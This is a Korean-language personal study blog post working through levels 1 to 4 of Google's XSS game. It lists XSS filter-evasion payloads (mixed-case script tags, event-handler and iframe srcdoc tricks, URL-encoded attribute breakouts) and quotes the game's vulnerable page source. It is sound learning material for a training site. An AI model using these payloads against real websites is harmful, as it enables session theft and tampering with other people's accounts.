XSS 간단하게 정리
: XSS는 게시판이나 웹메일 등에 자바스크립트같은 스크립트를 삽입하여 개발자가 고려하지 않은 기능을 유발한다.
<script> </script>사용
script막아져있을땐: <ScriPT> </sCriPt> 사용 //컴퓨터는 스크립트 대소문자 신경 안쓰고 똑같이 실행시킨다.
script를 lowercase로 아예 막아놨을때: <img src=about: onerror=alert(document.domain) > 처럼
다른 태그를 이용한다.
<img src=about: onerror=alert(document.domain)>
<svg src=about: onload=alert(document.domain)>
<body onload=alert(document.domain)>
<video><source onerror=alert(document.domain)></video>
<img src="valid.jpg" onload="alert(document.domain)">
<img src="about:invalid" onerror="alert(document.domain)">
왠 about이라고 묻는다면
특별히, about: 이나 chrome:// 스킴은 동작하지 않으므로 피해야 한다.
여기참고
https://developer.mozilla.org/ko/docs/MDN/Guidelines/Writing_style_guide
만약 script와 on(onerror, onload..)도 막아놨다면
--> iframe태그 이용
<iframe srcdoc='<img src=about: onerror=parent.alert(document.domain)>'></iframe>
iframe의 srcdoc은 iframe웹 페이지에 보일 html 코드를 명시한다.
iframe을 이용하면 onerror말고 바로 error를 사용할 수 있다.
parent.alert()로 바로 alert()를 사용하지 않는 이유는 저 url은 iframe내에서 실행되므로 우리가 보려면 그 상위로 alert해야하기 때문이다.
on 이건 뭐지
XSS game
Welcome, recruit! Cross-site scripting (XSS) bugs are one of the most common and dangerous types of vulnerabilities in Web applications. These nasty buggers can allow your enemies to steal or modify user data in your apps and you must learn to dispatch the
xss-game.appspot.com
문제 시작
1.
alert() 유발시키기
<script>alert()</script>
2.
script 사용안하고 alert() 유발시키기
<img src=about: onerror=alert()>
3.
문자열 xss
http://xss-game.appspot.com/level3/frame?#3 이고 파라미터를 이용하여 xss 유발한다.
코드를 보면 친절하게 주석을 달아놨다.
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />
<!-- Load jQuery -->
<script
src="//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js">
</script>
<script>
function chooseTab(num) {
// Dynamically load the appropriate image.=적절한 이미지를 동적으로 로딩
var html = "Image " + parseInt(num) + "<br>"; //<br>은 줄바꿈요소
html += "<img src='/static/level3/cloud" + num + ".jpg' />"; ]
//Image3 줄바꾸고 <img src='static/level3/cloud3.jpg ;/> 식일 것이다. >>바로바로 num이 보일 것이다.
$('#tabContent').html(html); // tabContent(박스부분에) html(방금 위에꺼) 실행시킨다.
* 참고
$(선택자).동작함수(); //선택자에 동작을 설정한다.
window.location.hash = num;
**window.location.hash는 url 뒤 #의 값을 value로 한다.(문자열이다!!)
* 참고
https://webroadcast.tistory.com/1
http://xss-game.appspot.com/level3/frame?#3 이거보면 num은 3이다.
// Select the current tab
var tabs = document.querySelectorAll('.tab');
for (var i = 0; i < tabs.length; i++) {
if (tabs[i].id == "tab" + parseInt(num)) { //tab지정값일 때 tab active 아니면 tab
tabs[i].className = "tab active";
} else {
tabs[i].className = "tab";
}
}
// Tell parent we've changed the tab
top.postMessage(self.location.toString(), "*");
}
주석 없어서 넘어갈뻔..
window.onload = function() {
chooseTab(unescape(self.location.hash.substr(1)) || "1");
}
substr() 메서드는 문자열에서 특정 위치에서 시작하여 특정 문자 수 만큼의 문자들을 반환합니다. 안에는 인덱스숫자
(https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/String/substr)
unescape는 16진수 문자열을 다시 문자열로
escape은 문자열을 16진수 문자열로
왜 0이 아닌가? #이 있어서 (??)
// Extra code so that we can communicate with the parent page
window.addEventListener("message", function(event){
if (event.source == parent) {
chooseTab(unescape(self.location.hash.substr(1)));
}
}, false);
</script>
</head>
<body id="level3">
<div id="header">
<img id="logo" src="/static/logos/level3.png">
<span>Take a tour of our cloud data center.</a>
</div>
<div class="tab" id="tab1" onclick="chooseTab('1')">Image 1</div>
<div class="tab" id="tab2" onclick="chooseTab('2')">Image 2</div>
<div class="tab" id="tab3" onclick="chooseTab('3')">Image 3</div>
<div id="tabContent"> </div>
</body>
</html>
우선 num에 xss을 하는 거니까 이 코드를 보자
function chooseTab(num) {
// Dynamically load the appropriate image.=적절한 이미지를 동적으로 로딩
var html = "Image " + parseInt(num) + "<br>"; //<br>은 줄바꿈요소
html += "<img src='/static/level3/cloud" + num + ".jpg' />"; ]
$('#tabContent').html(html);
num값을 url의 #뒤에 넣어주면 된다.
# 4.jpg/> <script>alert()</script> <img src='"를 했다.
4.jpg라고 나오지만 스크립트는 실행이 안된다. 왜?-->>
힌트 4. As before, using <script> ... as a payload won't work because the browser won't execute scripts added after the page has loaded.
그 이유는 chooseTab에서 num을 인자로 갖는데 이 인자는 #으로부터 또 가져오기 때문이다. (chooseTab(unescape(self.location.hash.substr(1)));)
num을 지정했는데 원하지 않은 내용을 포함한게 num이 된다.(X)
num은 숫자값만 들어감 #뒤
이 말 무슨 말이지?
암튼 이 방법은 아니고 ..<img src='/static/level3/cloud 4.jpg onerror=alert()
...................................................................
뭐지 뭐지 뭐지 뭐지 구조를 틀렸나 생각해보다가..
html += "<img src='/static/level3/cloud" + num + ".jpg' />"; ]
num이 3이면
<img src='/static/level3/cloud"3".jpg />
<img src='/static/level3/cloud" ".jpg' />
+ 4.jpg onerror=alert() +
+ '4.jpg' onerror=alert() +
+ '4.jpg' onerror='alert()' + //됐다.
+ '4' onerror='alert()' + //이것도 가능
cloud"4.jpg는 level3에 없을테니까 에러가 나고(cloud"3".jpg와 달리) 에러시 alert()".jpg가 실행된다.
중요: src는 ' '로 묶여있다. '4'이렇게 안쓰면 src문자열과 안더해진다. (window.location.hash는 문자열이다.)
왜 "는 있는거지 그럼..
*
<img src="noimg.jpg" onerror="this.src='https://s.pstatic.net/static/www/img/uit/2019/sp_search.svg';"/>
(출처:https://zxchsr.tistory.com/16)
여기보면 img src와 onerror가 " "로 묶여있는 것을 볼 수 있다. 문자열로 src와 onerror를 묶어줘야한다는 뜻이다.
코드를 보고 최대한 코드에 끼워넣으려고 노력하자.(문자열 연결하기)
4.
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />
<script>
function startTimer(seconds) {
seconds = parseInt(seconds) || 3; //숫자가 아니면 3이다.
setTimeout(function() {
window.confirm("Time is up!");
window.history.back();
}, seconds * 1000);
}
</script>
</head>
<body id="level4">
<img src="/static/logos/level4.png" />
<br>
<img src="/static/loading.gif" onload="startTimer('{{ timer }}');" /> //startTimer('3'); 이렇게 실행된다.
<br>
<div id="message">Your timer will execute in {{ timer }} seconds.</div>
</body>
</html>
힌트에서 보다싶이 timer(입력버튼)에 '을 넣으면 startTimer('''); 이렇게 되서 에러가 발생한다.(계속 로딩)
<개발자도구-콘솔창>
parseInt("<script>alert()</script>")
NaN
이걸보면 다른 것들은 다 NaN으로 처리되어서 3이 되지만
parseInt(''')
->에러발생 이유: )을 안썼다고 한다.
timer=') onerror='alert() 를 해봤다.
그럼
<img src="/static/loading.gif" onload="startTimer('') onerror='alert()');" /> //콘솔창에 에러->코드클릭,확인
이렇게 뜬다. '이 ''로 바뀐걸 볼 수 있다. >> &#x(변수) 앞에 &#을 넣어서 공격자가 특수문자를
사용하는 것을 막는다 유니코드 문자열 16진수 인코딩 (https://www.hahwul.com/2015/06/26/web-hacking-hex-encoding-xss/)
하지만 힌트처럼:
When browsers parse tag attributes, they HTML-decode their values first. <foo bar='z'> is the same as <foo bar='z'
바뀌던 안바뀌던 값은 정상적으로 실행될 것이다. --???? 힌트가 왜이래
다시 보자.. 우선 메소드를 종료시켜야한다.
<img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />
<img src="/static/loading.gif" onload="startTimer(' ');" />
'); alert(' //계속 로딩된다. 1초로 바꾸면? 1'); alert(' //왜 계속 로딩이지
아 맞는데 왜 아니냐고 ...
인내력이 늘어간다./.
힌트 2번이 계속 눈에 걸린다..정상적으로 실행될거면 줄 리가 없는데.. &#은
// GET으로 전송 시 URL 인코딩이 자동으로 적용되지만 &, # 같은 특수기호는 직접 인코딩을 해줘야합니다.
(출처: 16진수 인코딩을 이용한 xss https://www.hahwul.com/2015/06/26/web-hacking-hex-encoding-xss/ )
[WEB HACKING] HEX Encoding을 이용한 XSS 필터링 우회
Security engineer, Developer and H4cker
www.hahwul.com
')%3B%20alert('
와우 되었다. (url 인코딩)
ㅋ
여기서는 '); alert(' --> ')%3B%20alert('
;문자가 인코딩되었다.
행운의 표시로 url인코더 사이트를 북마크했다.(https://heavenly-appear.tistory.com/176)
드림핵에서는 인코더 안해도 되었던게 개념 설명하려고 그랬나보다..
특수문자는 인코딩하자 ex) ;,&,#
2.jpg' onload ='alert() 도 가능하다고 한다!
5.
signup.html
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />
</head>
<body id="level5">
<img src="/static/logos/level5.png" /><br><br>
<!-- We're ignoring the email, but the poor user will never know! --> //이메일 무시한다.
Enter email: <input id="reader-email" name="email" value="">
<br><br>
<a href="{{ next }}">Next >></a>
</body>
</html>
'보안공부 > 워게임' 카테고리의 다른 글
mongoboard (0) | 2021.07.10 |
---|---|
Mango (0) | 2021.07.03 |
LordofSQLInjection 1,2,3 (0) | 2021.05.27 |
wargame[2]csrf-1 (0) | 2021.05.22 |
wargame[1] simple sql (0) | 2021.05.21 |